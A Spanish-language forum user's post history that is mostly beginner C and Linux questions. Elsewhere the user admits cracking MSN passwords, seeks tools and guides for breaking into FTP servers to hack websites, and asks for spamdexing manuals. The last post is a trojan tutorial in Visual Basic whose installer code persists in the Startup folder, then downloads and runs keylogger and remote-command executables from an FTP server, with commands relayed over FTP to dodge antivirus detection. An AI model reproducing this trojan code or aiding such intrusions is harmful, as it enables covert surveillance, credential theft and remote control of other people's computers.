Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - jhonsc

#1
Buenas, ¿alguien me dice si se puede obtener más precisión que la de long double en C? Lo pregunto por que estoy haciendo un programa que me calcule pi (sin un número de cifras definido, hasta que lo cierre) y ¡long double se queda corto para pi!  :xD
#2
Programación C/C++ / Duda stdarg.h en C
31 Enero 2012, 16:32 PM
Buenas (de nuevo). Estoy intentando que un programa me coja unos argumentos fijos y luego, me pueda recoger un número indefinido de argumentos. He oído que sería:

#include <stdarg.h>
int printf(char *text, char *color, ...) //Esto es lo que he oído.
{
/*
Aquí iría lo que no tengo ni idea. Si no pongo la de color consigo que me  coja la variable
texto, pero las "no obligatorias" me las deforma. Son unos int. Por ejemplo, pongo 32 y
me sale 1034..., en fín, que se equivoca. Si pongo la de color... ni se ejecuta.
*/
return 0;
}

Siento no ponerles el código completo, pero no tengo acceso a él en este momento.
#3
Buenas, me podrían decir si se puede usar la biblioteca estándar de C fuera del sistema operativo. No se si me explico bien. Por ejemplo, utilizar printf() cuando creas un nuevo SO, pudiendo utilizar stdio.h y no tener que crear tus librerías, que la función printf() se pueda usar fuera del SO, sin cargar linux, o windows o lo que uses. Evidentemente no me propongo crear ningún SO, es simplemente por la curiosidad, que me está matando.
Perdonad mi ignorancia, pero tengo 14 años y no se mucho de C y menos de sistemas operativos.
#4
Programación C/C++ / Probelma en C. Ayuda!!!
14 Enero 2012, 15:12 PM
Buenas, estoy aprendiendo C (tengo un nivel muy bajo), y al hacer un programa con este código:

#include <stdio.h>

main(int argc, char *argv[])
{
  char n1, n2, operador;
  int resultado;
  n1=atoi(argv[1]);
  operador=atoi(argv[2]);
  n2=atoi(argv[3]);
  if (operador=='+')
  {
     resultado=n1+n2;
     printf("El resultado de sumar %d y %d es: %d\n", n1, n2, resultado);
     salir();
  }
  if (operador=='-')
  {
    resultado=n1-n2;
    printf("El resultado de restar %d y %d es: %d\n", n1, n2, resultado);
    salir();
  }
  if (operador=='*')
  {
    resultado=n1*n2;
    printf("El resultado de multiplicar %d y %d es: %d\n", n1, n2, resultado);
    salir();
  }
  if (operador=='/')
  {
    resultado=n1/n2;
    printf("El resultado de dividir %d y %d es: %d\n", n1, n2, resultado);
    salir();
  }
  if (operador!='+' && operador!='-' && operador!='*' && operador!='/')
  {
    printf("Operador no reconocido. Utilize uno de los siguientes operadores:\n"
           "-Suma:             \"+\"\n"
           "-Resta:            \"-\"\n"
           "-Multiplicación:   \"*\"\n"
           "-División:         \"/\"\n"
           "Utilize los operadores con el siguiente formato: número operador número.\n");
    salir();
  }
  }

int salir()
{
  return 0;
}

...no obtengo el resultado esperado. En vex de esto obtengo el mensaje de que no he introducido ningún operador:

$ gcc -o ys pasa.c
$ ./ys 5 + 6
Operador no reconocido. Utilize uno de los siguientes operadores:
-Suma:             "+"
-Resta:            "-"
-Multiplicación:   "*"
-División:         "/"
Utilize los operadores con el siguiente formato: número operador número.
$

Le he dado muchas vueltas al código y no encuentro el error. Muchas gracias por adelantado.
#5
Buenas, tengo un problema que quisiera solucionar cuanto antes mejor; acepto todo tipo de sugerencias.
En mi casa tenemos una conexión wifi (y somos sus propietarios). Resulta que desde hace unos meses, sabemos que tenemos a alguien enganchado a nuestra wifi, pero el colmo fue que se hiciese un WORKGROUP!!. Se hico un grupo de trabajo en nuestra red!!!! ¿Alguien sabe como podría arrebatar la contraseña del grupo de trabajo a quien sea? No quiero quitarle de mi red; simplemente quiero quitarle la contraseña del grupo de trabajo y saber quién es. Por favor ayudadme. Si creéis que esta no es la parte adecuada del foro decídmelo, ya que yo tampoco estoy muy seguro.
#6
Redes / Pregunta: como crear una red privada.
24 Diciembre 2011, 19:53 PM
Feliz navidad antes de nada  :D
Buenas. No se si será un poco pego la pregunta pero ahí va:
¿Sería posible montar una red como internet (no tan grande por supuesto) en la que si, por ejemplo, tengo un ordenador como servidor http, sin estar conectados a internet, y tan solo conectados todos por cable; pueda visitar las páginas web de ese ordenador a través de un navegador, o, si hay uno con un servidor ssh, conectarme remotamente, es decir, como si fuese una mini-internet? ¿Me podrían decir como montarla y ponerla en funcionamiento?
#7
Buenas, quisiera saber como se instalan los paquetes que instalarias desde un CD o DVD por USB en Ubuntu y demás distros basadas en Debian. Por si no lo deje claro pongo un ejemplo:
---Imaginense....
Que tenemos ubuntu x.x instalado, en una PC que no tiene conexión a internet y que tampoco tiene lectora de CD. ¿Simplemente se copia los archivos del CD donde estan los paquetes y todo al USB y se monta con:

sudo mount -t vfat /dev/sdb1 /media/USB
sudo apt-cdrom add

?¿?¿?¿?¿?¿?¿ :huh:
Además, si intentas instalar paquetes desde un CD, que no es de la misma versión del ubuntu instalado, aparecen errores de Claves e indices no se que blabla.....; ¿que son esos "indices" y esas "claves", que funcionalidad tienen?¿?¿?¿? :huh:
#8
GNU/Linux / Diferencias en la misma imagen?¿
21 Noviembre 2011, 16:12 PM
Buenas, les consulto esta duda por que desde que me compre un ordenador desde, no dejo de sorprenderme.
Tenia un problema al instalarme ubuntu en un equipo con UEFI, me lo conseguí instalar, pero desde USB en ves de CDROM. Por que usando LA MISMA IMAGEN, EL MISMO ARCHIVO, LA MISMA VERSION, no me consigui instalar ubuntu desde el CDROM y si puedo desde el USB.
Mi equipo es un ASUS, de los nuevos con UEFI, y ya de paso os aconsejo que no os compreis ordenasdores con esta.
Gracias.
#9
GNU/Linux / Gran Problema Instalación de Ubuntu
19 Noviembre 2011, 11:47 AM
Buenas, antes, me instalaba sin problemas ubuntu e mi PC con su BIOS, pero este se me rompió y me compre una torre ASUS de las que tran EFI, o UEFI en mi caso (ya de paso les recomiendo que nadie compre un PC con EFI o UEFI), y no consigo instalarmelo (ni siquiera arrancarlo, cuando lo arranco, le doy a instalar y sale algo como :"initframs" o al así)
Luego, para probar haber como iva, probe hacerlo en virtual box, habilitando EFI. En este caso, se instalaba, pero luego no arrancaba.
Me estoy volviendo loco tanto guindos 7, porfavor, ayudenme!!!! :-(
#10
GNU/Linux / [MOD] Instalar Fedora
3 Noviembre 2011, 16:23 PM
Llevo una semana desesperado; y no encuento solución a mí problema:
Llevo un tiempo aventurandome con linux, usando ubuntu, y se me rompió mi ordenador (que tenía BIOS), y me compré uno que tiene UEFI, y ya depaso, pues me da por adentrarme un poco más y pasarme a Fedora, pero no se como instalarlo, alguien me puede dar los pasos a seguir, porfavor, he buscado MUCHO y no encuentro nada y lo poco que encuentro está en Inglés, que aunque se un poco no es suficiente, por favorrr!
-Detalles:
--UEFI
--64bits
#11
Programación C/C++ / Ayuda con Conexión en C
25 Septiembre 2011, 15:39 PM
Bueno, no se si es mucho pedir pero; necesito en ejemplo de subir mandar/archivos por FTP en C (un cliente simple); o almenos un codigo para un cliente SSH.
He buscado mucho en google, pero lo unico que encuentro es Filezilla y no es precisamente simple, y cuando encuentro algo es para C# o C++.
¿Alguno de ustedes tiene un ejemplo de código, por muy simple que sea?
#12
Análisis y Diseño de Malware / Virus Multiplataforma
22 Septiembre 2011, 16:01 PM
No se si esta serará la mejor parte del foro para ponerlo, pero supongo que un virus multiplataforma es algo avanzado, asi que hay va mi pregunta (en realidad dos);
-¿Que es un virus multiplataforma, en que consiste?
-¿Un virus multiplataforma utiliza el mismo ejecuable para infectar dos S.O.?
#13
Programación C/C++ / Problema con C
20 Septiembre 2011, 21:58 PM
Buenas, estoy haciendo un programa en C (estoy aprendiendo, nada complicado); pero me sale un error; lo he revisado y no le encuentro ningun error. Espero que puedan ayudarme; les dejo el código que tengo echo:

//Enjemplo con FOR en C
#include <stdio.h>
int main()
{
  int a, b, i;
  printf("Bienvenido a nuestro programa que utiliza el FOR.\nEste programa le pedirá dos números, y le calculará todos los cuadrados de los números que esten entre esos dos números.\nEscriba el primer número:\t");
  scanf("%d\n", a);
  printf("Escriba el segundo número:\t");
  scanf("%d\n", b);
  printf("\t Número \t\t\t Cuadrado\n\n");
  for( i=a; i<=b; ++i)
     printf("\t %d \t\t\t %d \n\n",i,i*i);

  printf("\t---FIN DEL PROGRAMA---");
}

#14
Nivel Web / Spamdexing
17 Septiembre 2011, 14:07 PM
No se si esta parte del foro para poner esto pero... he estado buscando en google sobre spamdexing y no encuentro ningun manual; alguin me puede pasar un link?¿ gracias
#15
Programación C/C++ / Ejecutar en C-Ayuda
12 Septiembre 2011, 16:42 PM
Buenas; he buscado en google pero no encuantro nada sobre con que código se ejecuta en una terminal desde C; y que esa terminal sea su salida estandas, es decir; yo hago doble click en un archivo ejecutable y este me abre una terminal y las funciones printf, scanf etc, se realizan através de la terminal que ha abierto este ejecutable... ¿?alguien me puede poner un ejemplo de código?¿

EI: juntando mensajes.

Nada, encontre parte;
system("gedit")
Pero como hago para que ahora la entrada/salida se haga en esa terminal?¿
#16
Programación C/C++ / Ayuda en C
9 Septiembre 2011, 17:02 PM
Estoy empezando en C y necesito ayuda. Estoy haciendo un programa que me pida una operación y segun la operación que escoja, haga esa operación con dos numeros que me pide. Este es el código:

//Este es mi tercer programa echo en C
main()
{
int o, a, b, r;
printf ("¿Que operación desea realizar?: (x = multiplicar; / = dividir; + = sumar; - = restar)\n");
scanf("%d",&o);
if (o= "x")
printf ("Ha elegido multiplicar. Escriba el primer número:\n");
scanf("%d",&a);
printf ("Escriba el segundo número:\n");
scanf("%d",&b);
r=a*b;
printf ("El resultado de la operación es:%d\n",r);
}

El problema es que luego, cuando lo ejecuto me sale lo siguiente:
¿Que operación desea realizar?: (x = multiplicar; / = dividir; + = sumar; - = restar)
x
Ha elegido multiplicar. Escriba el primer número:
Escriba el segundo número:
El resultado de la operación es:-2064563936
-----Como ven me pregunta que que operación deseo realizar, y yo le contesto x, pero apartir de aí, todo me sale automático, y no me pregunta numeros>>y encima sale ese numero como reultado.
Utilizo GCC en Ubuntu.
#17
GNU/Linux / Duda sobre código fuente de Linux
8 Septiembre 2011, 12:07 PM
Buenas, hace tiempo que estoy en windows, y ahora me estoy empezando a trabajar con linux, concretamende con ubuntu, que me va muy ien y a mi gusto es muy bueno---- y mi pregunta es:
--Me he descargado el codigo fuente del kernel, y me encontrado con algo de headers,,, bueno llevo trabajando ya uno o dos meses y necesito ayuda con esto, alguien me dice que son??
--Y otra cosa, compilando ese codigo fuente ( descargado con apt-ge install linux-source, podria tener problemas al conetarme con wifi¿? (si no le hago ningun cambio).

#18
Hacking / Problema, ayuda
29 Agosto 2011, 18:53 PM
Buenas, hace un tiempo que me dedico a esto de hackear, pero siempre contraseñas de msn, y esas cosas, y ahora me estoy interesando por los servidores ftp (para hackear webs). Busqué por internet y encontré un manual que me gustó bastante:
http://www.pablin.com.ar/computer/info/varios/hackftp1.htm

Lo que pasa es que está bastante anticuado (habla de Windows 95) y al final cuando pone el programa para desemcriptar el archivo passwd pues ya está caido.
¿Alguien sabe donde me lo podría descargar?. He probado con JhonRipper pero por más que busco no me entero de como funciona. Se agradece toda ayuda.

#19
Hola, soy nuevo en el foro y quería empezar a publicar y a contribuir asi que voy a poner un tema sobre como hacer un troyano con algunas funciones sin rastro de winsock (el winsock todos los antivirus lo dectectan ya).
Pués bien, compienzo: :D

Antes de empezar voy a dejar claro las funciones que quiero que tenga:
-Keylogger
-Chat
-Chat "a lo Matrix"  ;D
-Abrir consola
-Ejecutar

abrimos el Visual Basic (en mi caso el 2008, que también funciona en windows 7) y agregamos un nuevo proyecto. Este será el "Panel de control" del cliente:
Ponemos unos buttons (yo los he puesto incluidos en un ToolStrip, pero da igual).
Aquí viene una de las cosas que debes de tener en cuenta para que tu troyano FTP no se te bloquee; esos botones, no habren un Form2, ni otro formulario, si no que habrén programas que se encargan de esa función (la del keylogger por ejemplo).
Esto lo hacemos por que si pones todas las conexiones del troyano (keylogger, ordenes, chats...) pues el programa se te acaba saturando y bloqueando; por ello, lo ponemos por separado. Aunque lo metamos por separado, no hace falta que el ejecute todos los apartados>>>>en vez de eso, ejecutará un solo programa, el cual se descargará las otras partes de un servidor y las pondrá en las carpetas del equipo correspondientes. El código sería así:

Public Class Form1
    Dim aPath As String = Application.ExecutablePath()

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        If Not My.Computer.FileSystem.FileExists("C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe") Then
            My.Computer.FileSystem.CopyFile(aPath, "C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe")
        End If
        If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\cht.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/chat.exe", "C:\WINDOWS\cht.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\chmat.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/chatmatrix.exe", "C:\WINDOWS\chmat.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/ordenes.exe", "C:\WINDOWS\ord.exe", "user", "passw")
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
        End If
        End
    End Sub
End Class



Ese sería el código del "Instalador" del Server.
Tampoco pretendo poner todo el código fuente de mi troyano así que diré lo imprescindible:

--La transmisión de datos de los chat se hace por el siguiente código:
Dim name As String
        name = TextBox1.Text
        Try
            Dim client As New Net.WebClient
            client.Credentials = New Net.NetworkCredential("user", "passw")
            client.UploadString("fttp://sevidor/cht1.txt", name & ": " & vbNewLine & RichTextBox1.Text & vbNewLine)
            RichTextBox1.Clear()
        Catch ex As Exception
        End Try
        Try
            Dim client As New Net.WebClient
            client.Credentials = New Net.NetworkCredential("user", "passw")
            RichTextBox2.Text = client.DownloadString("ftp://servidor/cht1.txt")
        Catch ex As Exception
        End Try


Doy por echo que sabeis hacer un keylogger así que no lo pongo.

Y como no queremos que se acumulen las ordenes cuando las mandemos, al recibirlas el servidor sube un archivo que sustituye el otro, dejandolo en blanco, lo cual se haría con este código: (este código se pondría después de que se ejecutase el correspodiente archivo)

Servidor (el apartado de las ordenes):
My.Computer.FileSystem.WriteAllText(aPath & "\remord1.txt", _
        "", True)
                My.Computer.Network.UploadFile(aPath & "\remord1.txt", "ftp://servidor/orderlist1.txt", "user", "passw")
                My.Computer.FileSystem.DeleteFile(aPath & "\remord1.txt")
                RichTextBox1.Clear()


Os pongo una foto de como queda:
-La pantalla del Servidor cuando le pones el chat "a lo Matrix" (toda la pantalla):


-Y como sería el controlador del chat "a lo matrix" (el cliente):



Bueno espero que os sirva para adaptaros a las nuevas politicas anti-winsock que se manifistan en windows 7  ;D